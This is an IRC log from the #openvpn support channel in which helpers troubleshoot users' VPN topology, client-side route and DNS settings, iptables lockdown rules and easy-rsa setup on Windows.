14:41 <@ecrist> once openvpn is up, what does your tun interface look like?
14:41 < pie_> i dont have the old server working, but this is the script that would start it:
14:41 < pie_> openvpn --dev tun0 --config /etc/openvpn/server.conf --tcp-nodelay &
14:41 < pie_> ifconfig tun0 10.3.0.1/24
14:43 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-pmewniefhkxdlnes] has quit [Quit: Leaving]
14:45 < pie_> the version that worked was openvpn 2.2 iirc
14:45 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Quit: off to do some thoughtcrime]
14:45 < pie_> one sec,
14:45 <@ecrist> I mean now
14:45 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has quit [Remote host closed the connection]
14:45 <@ecrist> if you start openvpn in the jail, and do an ifconfig tun0, what's the output
14:45 <@ecrist> grr
14:46 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has joined #openvpn
14:46 <@ecrist> if you start openvpn in the jail, and do an ifconfig tun0, what's the output
14:46 < pie_> yeah sorry, i got off track
14:48 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has quit [Remote host closed the connection]
14:49 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has joined #openvpn
14:51 < pie_> ecrist, http://pastebin.com/MN7yDhM3
14:52 <@ecrist> that's not topology subnet
14:52 < pie_> the device is p2p
14:52 < pie_> thats what im trying to figure out how to change
14:53 <@ecrist> you can't change that on p2p
14:53 <@ecrist> with p2p there isn't a "server" - they're both both functions
14:54 < pie_> i get the basic idea, bit how can i get around it?
14:54 <@ecrist> why do you want to get around it?
14:54 < pie_> so that i can have more than one client on my vpn that works
14:54 < pie_> i can connect multiple clients i just cant get any data transfer
14:54 < pie_> if i change the tunnel destination to the ip of a certain client it works but none of the others do
14:55 -!- Proshot [~CoreD@546A56AA.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
14:55 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:56 <@ecrist> wowsers
14:56 <@ecrist> you need to start from the beginning
14:56 <@ecrist> !man
14:56 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
14:56 <@ecrist> !howto
14:56 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
14:56 <@ecrist> start there
14:56 <@ecrist> setup a server, first
14:56 <@ecrist> and maybe a desktop/laptop next
14:56 <@ecrist> then we'll worry about your jail
14:57 < pie_> !goal ? :P
14:59 < pie_> ive set up a normal openvopn server before
14:59 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
15:00 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
15:05 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Quit: Leaving]
15:06 -!- Devastator_ [~devas@186.214.15.95] has joined #openvpn
15:08 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 248 seconds]
15:11 -!- Devastator_ [~devas@186.214.15.95] has quit [Changing host]
15:11 -!- Devastator_ [~devas@unaffiliated/devastator] has joined #openvpn
15:11 -!- Devastator_ is now known as Devastator
15:13 < atmosx> krzee: thanks for the tips
15:16 < pie_> why is this always so hopeless :/
15:21 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has quit [Remote host closed the connection]
15:22 <@ecrist> because you won't follow directions
15:23 -!- Denial [Denial@90.216.209.93] has quit []
15:24 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has joined #openvpn
15:24 <@ecrist> because you won't follow directions
15:27 < pie_> i just saw that you asked why i want to get around it. :/ what do you mean by i should set up a server then a des
15:27 < pie_> ktop/laptop first?
15:30 < pie_> google finally found something relevant :/  http://lists.freebsd.org/pipermail/freebsd-ports/2009-July/056113.html
15:30 <@vpnHelper> Title: recent change to ifconfig breaks OpenVPN? (at lists.freebsd.org)
15:31 -!- xTz [~xtz@cpc3-belc7-2-0-cust313.2-1.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
15:35 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 240 seconds]
15:37 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
15:38 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
15:45 -!- Proshot [~CoreD@546A56AA.cm-12-3b.dynamic.ziggo.nl] has quit [Quit: Leaving]
15:45 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:45 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has quit [Remote host closed the connection]
16:00 < toothe> After a connection on OpenVPN is established, can I make a script run afterwards?
16:01 < Aketzu> yes
16:01 < toothe> I figured it would be a simple line in the ovpn file.
16:01 < Aketzu> yes
16:01 < toothe> is it the simple 'up' line?
16:02 < Aketzu> route-up is probably better
16:03 < toothe> so, i underestand that as somethign from the command-luine
16:03 < toothe> command-line*
16:03 < toothe> I'm looking to have this on the client machines, who are not going to be using the command-line
16:04 < Aketzu> everything in the config is as in command line
16:04 < toothe> that sentence is not grammatically sound, please rephrase that :-)
16:05 < Aketzu> everything specified in the config file is specified in exactly same way as they would be used in the command line
16:06 < toothe> ahh
16:06  * toothe tests...
16:10 < toothe> I added the line route-up C:\Users\fkhan\Desktop\test.bat to my config.ovpn file, and that came back as an invalid format.
16:11 < Aketzu> try escaping \
16:11 < Aketzu> i.e. change \ to \\
16:11 < toothe> no dice...
16:11 < toothe> i'll see if the commandline gives me errors.
16:12 < toothe> hm...no such file or directory
16:13 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:13 < toothe> silly me.
16:14 < toothe> however, that script is not executed.
16:17 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 248 seconds]
16:20 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 24.0/20130910160258]]
16:21 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Ping timeout: 245 seconds]
16:29 -!- vpnuser [0c0d0e0f61@gateway/web/cgi-irc/kiwiirc.com/x-qlfxlhucxwtdsfer] has joined #openvpn
16:30 -!- vpnuser [0c0d0e0f61@gateway/web/cgi-irc/kiwiirc.com/x-qlfxlhucxwtdsfer] has quit [Client Quit]
17:04 -!- crass [~crass@99-88-246-175.lightspeed.austtx.sbcglobal.net] has joined #openvpn
17:09 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
17:21 -!- nosuid [~nosuid@gateway/tor-sasl/nosuid] has joined #openvpn
17:28 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 252 seconds]
17:34 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 248 seconds]
17:35 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
17:36 < phunyguy> hi, I just need some clarification on something, typically any clients that connect to my vpn have the redirect-gateway option pushed to them, how can I get a PC to ignore that option so it keeps its original default gateway?
17:36 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
17:37 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 268 seconds]
17:39 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Quit: emmanuelux]
17:41 < phunyguy> wait, I think I may have found it.  "route-nopull"
17:42 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:47 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
17:59 -!- nosuid [~nosuid@gateway/tor-sasl/nosuid] has quit [Remote host closed the connection]
18:00 -!- nosuid [~nosuid@gateway/tor-sasl/nosuid] has joined #openvpn
18:03 < toothe> I'm having trouble getting client machines to execute a script after connection.
18:08 <+pekster> Sounds like a problem. http://catb.org/~esr/faqs/smart-questions.html#beprecise
18:08 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
18:15 -!- stefan__ [~quassel@133-216-180-132.vpn.uni-bayreuth.de] has quit [Remote host closed the connection]
18:24 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 240 seconds]
18:29 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
18:41 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 265 seconds]
18:52 -!- nosuid [~nosuid@gateway/tor-sasl/nosuid] has quit [Quit: ...]
19:33 -!- g0z [gauze@bitchx/distort/g0z] has joined #openvpn
19:34 < g0z> !paste
19:34 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
19:36 < g0z> !configs
19:36 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
19:43 < toothe> How do I get this OpenLDAP web-based GUI?
19:43 < toothe> for administration
19:43 < toothe> oh wait, that costs money.
19:45 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
19:46 -!- Linmu [~Linmu@203.70.194.104] has quit [Client Quit]
19:46 < g0z> ok  so I got me a problem. I am using a bridged setup, I cannot ping from my windows client to the server. the openvpn client says it's connected and assigned an IP on the remote network but I can't even ping that IP on the server or client machine. my configs are here, any help is appreciated. https://gist.github.com/anonymous/6927940
19:46 <@vpnHelper> Title: openvpn config (at gist.github.com)
19:56 -!- pkh [~pkh@138.77.138.112] has joined #openvpn
19:57 -!- pkh [~pkh@138.77.138.112] has quit [Client Quit]
19:58 <+pekster> toothe: OpenVPN doen't have a care in the world what authentication system you use: you've given the choice between an openssl (or recently polarssl) X509 backend, or "whatever backend you want" that is based on --auth-user-pass-verify, or possibly a plugin that does effective the same thing
20:01 <+pekster> g0z: What a horrible choice of server-side network, especially if you're bridging. 1) don't bridge unless you _absolutely_ must. See !tunortap and !whybridge for details. 2) Don't use _the_ most common RFC1918 network of 192.168.0/24 when you're bridging or otherwise routing between networks
20:02 < g0z> I don't have a 192.168.0. network here my local is 192.168.15. so I don't see why not?
20:03 -!- pkh [~pkh@138.77.138.112] has joined #openvpn
20:03 < g0z> !whybridge
20:03 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
20:03 < g0z> I believe there was something about accessing SMB shares between sites requiring bridging or am I dumb?
20:04 < g0z> !tunortap
20:04 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
20:04 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
20:05 <+pekster> g0z: Nope, I do CIFS (aka "SMB") over routed (tun) just fine
20:05 <+pekster> Maybe you're referring to WINS, but you ought not to be using WINS in the first place: learn to use DNS. With tools like dnsmasq, this isn't even that hard
20:05 < g0z> nope not talking about WINS hm
20:06 < g0z> we have dns for internal servers
20:06 <+pekster> Then you have zero reason to use bridging. Also, fix your (highly broken) choice of server-side network range
20:06 <+pekster> Using what is _the_ single most common RFC1918 LAN for your server gaurentees overlapping (and thus conflicting) ranges for any standard SOHO equipment
20:06 < g0z> the 2 address range? this was just for testing
20:07 <+pekster> And if your client uses 192.168.0/24 for "testing" it'll cause a conflict
20:08 < g0z> ok
20:08 <+pekster> On top of that, line 10 in that paste is useless
20:08 <+pekster> With a bridge, 192.168.0/24 is already on-link, thus pushing a route for it is pointless
20:09 <+pekster> This said, don't bridge in the first place. If you don't need to support raw Ethernet frames (non-IP traffic) then you shouldn't use bridging at all
20:09 < g0z> so suppose I am using tun and 10.10/16 for my vpn, do I have to have all the routers  routers route back 10.10 traffic to my LAN interface?
20:11 <+pekster> Yes. That, or NAT, but you should avoid NAT
20:12 <+pekster> Also, a /16 is silly for OpenVPN; since openvpn is single-threaded you'll run into practical limits far before you hit 64k hosts
20:13 < g0z> in reality I have 2 possible clients, it was just an example
20:14 -!- pkh [~pkh@138.77.138.112] has quit [Ping timeout: 248 seconds]
20:17 < g0z> ok so I have tun set up I'll tell cisco guy to add some routes in an email.
20:19 <+pekster> You "can" route over tap, but you shouldn't. I'm not sure what Cisco has to do with any of this
20:19 < g0z> I don't have access tot he routers
20:20 <+pekster> Then you must either NAT-hack or bridge
20:20 < g0z> or tell the cisco guy :P
20:20 < g0z> he told me to set this up
20:21 <+pekster> That is preferred, yes
20:21 <+pekster> Route properly instead of hacking things
20:22 -!- raidz is now known as raidz_away
20:24 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
20:25 -!- fling [~fling@fsf/member/fling] has quit [Quit: leaving]
20:30 -!- fling [~fling@fsf/member/fling] has joined #openvpn
20:32 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
20:41 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
20:43 -!- pkh [~pkh@192.73.237.189] has joined #openvpn
20:45 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
20:45 -!- nutron [~nutron@unaffiliated/nutron] has quit [Max SendQ exceeded]
20:47 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
20:53 -!- pkh_ [~pkh@192.73.237.189] has joined #openvpn
20:54 -!- pkh_ [~pkh@192.73.237.189] has quit [Client Quit]
20:54 -!- pkh [~pkh@192.73.237.189] has quit [Ping timeout: 245 seconds]
20:55 -!- pkh [~pkh@192.73.237.189] has joined #openvpn
20:55 < toothe> I'm having trouble having easy-rsa run on Windows 2003 server
20:55 < toothe> damn
21:00 <+pekster> toothe: Either you can't read, or you have an awful memory. I linked you to this _same_ URL after an equally pointless comment earlier: http://catb.org/~esr/faqs/smart-questions.html#beprecise
21:00 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
21:00 < pkh> I have an openvpn set up and working, and I'm trying to lock down the machine to only have comms with the vpn server. The following iptables rules seem to be mostly working (http://codepad.org/hiyWCyjI) -- but dns seems to be blocked -- ping works for an ip, but not domain. is there something I need to set up in the client to force dns over the vpn link?
21:00 <@vpnHelper> Title: Plain Text code - 12 lines - codepad (at codepad.org)
21:02 <+pekster> pkh: Don't show scripts or output of `iptables -L` output. It's wrong, it omits info, and it's painfully hard to read.
21:02 <+pekster> https://www.pekster.net/staging/josh/md/iptables-L.html . Try `iptables-save`
21:03 < pkh> apologies, output of iptables-save: http://codepad.org/guS2yuHg
21:03 <@vpnHelper> Title: Plain Text code - 12 lines - codepad (at codepad.org)
21:04 < pkh> the server is pushing ',dhcp-option DNS 8.8.8.8,dhcp-option DNS 8.8.4.4' -- which I'm assuming means that the client should be using those dns addresses, but not sure how to confirm.
21:05 <+pekster> A Linux-based client won't apply that pushed option unless you make special accomodiations for it
21:05 <+pekster> See:
21:05 <+pekster> !pushdns
21:05 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
21:05 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
21:06 < pkh> cheers, will read those.
21:08 < pkh> pekster, looks like that's specific to windows clients -- running linux (ubuntu-gnome) here -- sorry, shoudl have specified.
21:09 <+pekster> #4
21:09 <+pekster> Linux does _not_ do _anything_ when you push that option unless _you_ have a special script to handle it
21:09 <+pekster> Do you?
21:10 < pkh> nope, sorry pretty much first time setting up openvpn and delving into iptables.
21:10 < toothe> is the openvpn GUI proprietary?
21:11 <+pekster> toothe: No, it's GPLv2. http://build.openvpn.net/downloads/releases/
21:11 <@vpnHelper> Title: Index of /downloads/releases/ (at build.openvpn.net)
21:12 <+pekster> If by GUI you mean the Windows GUI
21:13 <+pekster> pkh: Right. So that push option does "nothing" for a Linux client and it's up to you to process that and do something useful with it depending on your DNS system in play. Some people use a simple /etc/resolv.conf file, while others (like ubuntu) uses a complex resolv-conf or dnsmasq setup
21:13 < toothe> gah, I can't get easy-rsa running on Windows...
21:13 <+pekster> Part of the issue is that Linux gives you, the user, power to set your OS up how you want. This means that there is no "one" unified way to do something like manage your DNS resolution
21:14 < pkh> pekster, ah, I think I have a possible lead -- ubuntu's dnsmasq... yes -- will go dig some on how to get that working.
21:14 <+pekster> pkh: Yea ubuntu is a PITA since it doesn't even use a dnsmasq config file but uses dbus to configure it all. I call that crap "Abstraction Hell"
21:14 < pkh> the issue will be that the dns request is going to localhost (dnsmasq) in ubuntu. even though the vpn server and the local config are both set to 8.8.8.8/8.8.4.4, the localhsot is hidden in that iptables config.
21:14 <+pekster> Right
21:15 <+pekster> Welcome to ubuntu
21:15 < pkh> I'm tempted to just allow in iptables the dns request to localhost... will do some reading.
21:15 <+pekster> You really ought to allow communication to at least 127.0.0.1/32 anyway since lots of local apps expect that (note that ubuntu's dnsmasq nonsense uses a secondary IP on the lo interface)
21:16 <+pekster> But you can take bad netfilter rules to #netfilter for further suggestions
21:16 < pkh> thanks heaps. appreciate you time.
21:18 < pkh> yep, 'sudo iptables -A INPUT -i lo+ -j ACCEPT' and the associated OUTPUT fixes the problem. now I know where to look I'm sure an hour with google will get me up to speed, thanks again.
21:18 <+pekster> Well, the issue is that you haven't actually "redirected" your DNS output
21:19 <+pekster> Unless _you_ take action to replace/update resolv.conf (or your abstracted dnsmasq setup via dbus calls) your DNS will still use the default resolvers
21:19 < pkh> yeah, that's what I'm going to get up to speed with -- up till a minute ago I didn't even know where to look.
21:19 <+pekster> Thus your push to 8.8.8.8 or whatever does no good at all, presumably still uses your local DHCP options (probably your LAN router info??) and thus will attempt to use the local gateway
21:20 <+pekster> Ubuntu: so "easy to you" that you can't actually manage it ;)
21:20 <+pekster> s/you/use/
21:22 < pkh> yeah, it's a problem. I have considered moving to a 'simpler' distro, but never sure which way to jump... dipped my toes into arch a while back, but never committed enough time...
21:22 <+pekster> Personally I'd recommend Gentoo if you're committed to learning how your OS works
21:22 < pkh> years back I played with gentoo, taught me a lot, but was like a jaguar car -- more time tinkering than actually doing anything
21:22 < pkh> :)
21:22 <+pekster> Several of the devs here use it, and it's got a lot of power and is surprisingly easy to use when you configure it properly
21:24 < pkh> I did have another look earlier this year, the thing that pulled me up was wading through the kernel config -- could never seem to get it all in place (my only machines are laptops now, probably adding to the complexity)
21:25 <+pekster> Ironcic you bring that up; just last week I had to hack around Ubuntu's stupidity to fix a new laptop my sister bought to get wifi to work under ubuntu; turns out ubuntu's auto-module-loading of some asus module crap broke wifi. Ubuntu does silly things sometimes, and frequently has no docs to explain why
21:25 < pkh> I had a feeling that there was a 'everything included' vanilla suto-config that I could get workign and pare down over time, but coulnd't find it and work called, so ubuntu went back on )
21:25 <+pekster> Ubuntu "works until it doesn't"
21:26 < pkh> yeah, it's the big trade-off, simple for those in the know, or simple for those who know nothing -- and there's a huge cavern between the two...
21:26 < pkh> yep
21:26 <+pekster> distros like Gentoo, perhaps Arch, or maybe some of the BSDs like {Free,Net}BSD at least expose what they're doing for you
21:26 < pkh> unfortunately I've a foot in each camp now -- too much work, and too littel tinkering..
21:27 <+pekster> YMMV, but dns junk in ubuntu is surprisingly complex. Unless you'd like to learn a dbus API, you're SOL to manage DNS under ubuntu
21:27 <+pekster> That, or completely disable ubuntu's dnsmasq integration for DNS and "do it yourself"
21:27 < pkh> well, you've convinced me -- will have another go at gentoo on the second laptop -- relive the good old days
21:28 < pkh> I wondered last time I hit this why exactly they went that way -- I assumed network-manager was the reason
21:28 < pkh> this == ubuntu's dns handling
21:28 <+pekster> Gentoo's gotten a lot better; things like xorg configuration have grown up with moder Linux development too; nowdays you generally don't even need to touch a thing
21:28 <+pekster> But take it to #gentoo for specifics :P
21:29 <+pekster> Yea, ubuntu has ugly dns stuff. I can't even find out "what" my DNS servers are on this xubuntu install on the laptop I'm using in front of the TV now
21:30 <+pekster> I probably could if I spent the next 36 hours learning a dbus API in either python or C, but I don't have time for that (plus it would get in the way of the wine bottle I'm drinking now ;)
21:31 < pkh> well, enjoy the wine -- it's midday here -- maybe a beer for lunch might be a plan
21:32 < pkh> p.s. one last question. given that the nm config has google's dns set, opening up lo in iptables seems to do the job. given that my main aim is to be safe when using various open networks (cafe's, clients, etc) does that open up a security hole I shoudl be concerned with?
21:32 <+pekster> "sort of"
21:33 <+pekster> DNS can give LL (link-local) attackers an idea what hosts you're visiting, but not the content of them
21:33 <+pekster> Realistically DNS isn't secure anyway (DNSSEC isn't widespread) so you can generally treat DNS as an insecure protocol in general
21:34 <+pekster> This said, a clever attacker at the cafe you're at could learn you're visiting "howto.make.suicide-vests.com" or something
21:35 < pkh> here's how I understand it. dns server is set to 8.8.8.8/etc. ubuntu bounces that via lo. any request goes to lo, then dnsmasq forwards to 8.8.8.8. that request goes over the tunnel (yes?) if I block everything _but_ the tunnel and lo, no=one locally can see anything.
21:36 < pkh> dns server is set within the nm config (also pushed by server, but that request not hadnled locally)
21:36 <+pekster> Except your ruleset pasted earlier makes no exception for 127.0.1.1/32 which is, IIRC, what ubunbu's dnsmasq uses for DNS
21:36 < pkh> I've added 'sudo iptables -A INPUT -i tun+ -j ACCEPT'
21:36 <+pekster> Further, the DNS push won't actually do a damn thing, making your ubuntu dnsmasq use your LL DNS server provided (probably) by your DHCP gateway
21:36 < pkh> and equivalent OUTPUT
21:36 <+pekster> If _that_ gateway is on your LL LAN, then that route is more specific than either a /0 or /1 route
21:36 <+pekster> Thus your DNS will still go our your physical NIC
21:37 < pkh> but if iptables isn't allowing that traffic it should just die, yes? which actually was the symptom that brought me here in the frist place...
21:37 <+pekster> Right
21:37 <+pekster> You failed to allow for the 127.0.1.1/32 secondary IP dnsmasq is listening on
21:37 <+pekster> Note this is completely different than 127.0.0.1
21:38 < pkh> is that not also lo+ -- that line definitely fixed the dns issue I was having, so it's allowing the traffic -- I assumed it was becuase I'm specifying lo+ traffic, not 127.x.x.x traffix?
21:39 <+pekster> http://codepad.org/guS2yuHg <-- that does not allow any lo+ traffic, no
21:39 <@vpnHelper> Title: Plain Text code - 12 lines - codepad (at codepad.org)
21:39 < pkh> bugger, I pasted the wrong line...
21:39 <+pekster> But yes, if you did that, it would allow it
21:39 < pkh> here is what I added since that paste: 'sudo iptables -A INPUT -i lo+ -j ACCEPT'
21:39 <+pekster> However if dnsmasq is using an LL target for your DNS, that is allowed per your `ip route show` output
21:40 < pkh> yes, so I'll be secure, but will know immediately that something is wrong -- and can then go and change the dns servers in nm... that's how I'm understaing it anyway...
21:40 <+pekster> Sure
21:40 <+pekster> the better way is to have openvpn manage your DNS properly
21:40 < pkh> awesome, that's cleared up a lot for me -- have a glass of wine for me :)
21:41 <+pekster> And that is a huge pain under ubuntu. Either whine in #ubuntu, or use a less cryptic distro for your trouble
21:41 <+pekster> (or ditch network-manager in favor of a real network system)
21:41 < pkh> yes, but ubuntu will jsut change something in the next release! -- this way the important thing is I'm secure. I can tweak the dns in nm when I need to
21:41 <+pekster> !netman
21:41 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
21:41 <+pekster> Sort of; until your DHCP renews and NM decides to overwrite your resolv.conf
21:42 <+pekster> NM is like a virus ;)
21:42 <+pekster> That, or just use a static DNS in NM and set to 8.8.8.8
21:42 <+pekster> That's obviously off your link (we hope) and thus will be redirected if you use openvpn's --redirect-gateway
21:42 < pkh> yes, that was the plan. that's what I've done with this cnnection now
21:42 <+pekster> Do that for your *LAN* connection and you'll be okay
21:43 < pkh> nm is taking addresses only
21:43 < pkh> yep. not the best solution, but it should do the job -- and if the dns stops working I knwo where to look :)
21:44 < toothe> I'm having trouble getting Easy-RSA running on WIndows 2003
21:44 -!- Netsplit *.net <-> *.split quits: g0z, lmm_, gac, mitz_, theneb_, namidark, havoc, mcp, atmosx, kisom_,  (+6 more, use /NETSPLIT to show all of them)
21:44 < pkh> anyway, I'm starving, and the mention of wine has me salivating for a beer -- nice to chat.
21:44 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn
21:44 -!- Netsplit over, joins: havoc
21:44 -!- g0z [gauze@entropy.tmok.com] has joined #openvpn
21:44 -!- Netsplit over, joins: gac
21:44 -!- theneb [~theneb@theneb.co.uk] has joined #openvpn
21:44 -!- WinstonSmith [~WinstonSm@bl12-7-149.dsl.telepac.pt] has joined #openvpn
21:44 -!- Netsplit over, joins: defswork
21:44 -!- Netsplit over, joins: mcp
21:44 -!- lmm_ [uid6417@gateway/web/irccloud.com/session] has joined #openvpn
21:45 <+pekster> toothe: Your point?? http://catb.org/~esr/faqs/smart-questions.html#beprecise
21:45 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
21:45 -!- Netsplit over, joins: mitz_
21:45 -!- Netsplit over, joins: namidark
21:45 -!- WinstonSmith [~WinstonSm@bl12-7-149.dsl.telepac.pt] has quit [Changing host]
21:45 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
21:47 < toothe> sorry, i stepped away
21:47 < toothe> so, I'm trying to use build-ca and get the following errors...
21:48 < toothe> http://pastebin.com/Q8sd6w8S
21:48 < toothe> I get that error wen I try to use build-ca
21:48 < toothe> I don't know what to do about these
21:49 -!- Chocobo [~swinchen@samuel-winchenbach.ums.maine.edu] has joined #openvpn
21:49 -!- Chocobo [~swinchen@samuel-winchenbach.ums.maine.edu] has quit [Changing host]
21:49 -!- Chocobo [~swinchen@pdpc/supporter/student/chocobo] has joined #openvpn
21:49 -!- pkh [~pkh@192.73.237.189] has quit [Ping timeout: 245 seconds]
21:51 <+pekster> toothe: Looks like you're missing the critical openssl-1.0.0.cnf file
21:51 <+pekster> That's the primary openssl config file and without it easyrsa won't work
21:52 < toothe> how do i get it?
21:52 < toothe> i figured that was part of it
21:52 < Devastator> pekster is debian equally problematic like ubuntu for dns stuff?
21:52 <+pekster> Devastator: Not as far as I'm aware, no
21:53 < Devastator> thanks, looks like I chose a not so bad distro then..
21:53 <+pekster> debian only has brain-dead netfilter support and by brain-dead I mean "the devs are so busy in pissing matches that they can't be bothered to come up with a netfilter initscript"
21:53 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
21:53 <+pekster> My fix: https://github.com/QueuingKoala/distro-scripts/blob/master/ubuntu/netfilter/05-iptables
21:54 <@vpnHelper> Title: distro-scripts/ubuntu/netfilter/05-iptables at master · QueuingKoala/distro-scripts · GitHub (at github.com)
21:54 < Devastator> I hate the "let me do it for you, sir" thing Ubuntu does, and "why verbosity? let's make it clean for the user not to worry :)"
21:55 <+pekster> toothe: How did you install easy-rsa? are you using the openvpn-installed stuff, and did you both install easy-rsa and the openssl utilities?
21:55 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
21:55 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
21:55 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
21:55 -!- atmosx [~bsd@gateway/tor-sasl/atmosx] has joined #openvpn
21:55 < toothe> i just downloaded and unzipped it
21:55 < toothe> i dl'd openssl and installed it
21:55 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Max SendQ exceeded]
21:55 <+pekster> toothe: Is openssl in your %PATH% ?
21:55 < toothe> yes, c:\openssl\bin\
21:56 < toothe> is there anything else I should put in my path?
21:56 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
21:56 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
21:57 <+pekster> If you got openssl from the upstream openssl.org binary installer and installed it your path that should be fine
21:57 <+pekster> Where'd you get easy-rsa from? the upstream install at https://github.com/OpenVPN/easy-rsa/archive/master.zip or somewhere else?
21:59 < toothe> git-hub...
21:59 < toothe> but not that place
21:59 <+pekster> That's the github download for the master branch download
22:01 < toothe> you know, I don't know how to use github...
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 <+pekster> It's a zip file. FFS
22:01 -!- cconstantine_ [~cconstant@50-0-241-181.dedicated.static.sonic.net] has quit [Ping timeout: 248 seconds]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:01 <+pekster> Download zip. Extract zip. open command prompt. cd to Windows directory. Run relevant batch scripts
22:02 <+pekster> In case you missed the blindly obvious README.txt file: https://github.com/OpenVPN/easy-rsa/blob/master/easy-rsa/Windows/README.txt
22:02 <@vpnHelper> Title: easy-rsa/easy-rsa/Windows/README.txt at master · OpenVPN/easy-rsa · GitHub (at github.com)
22:03 -!- lmm_ [uid6417@gateway/web/irccloud.com/session] has quit [Changing host]
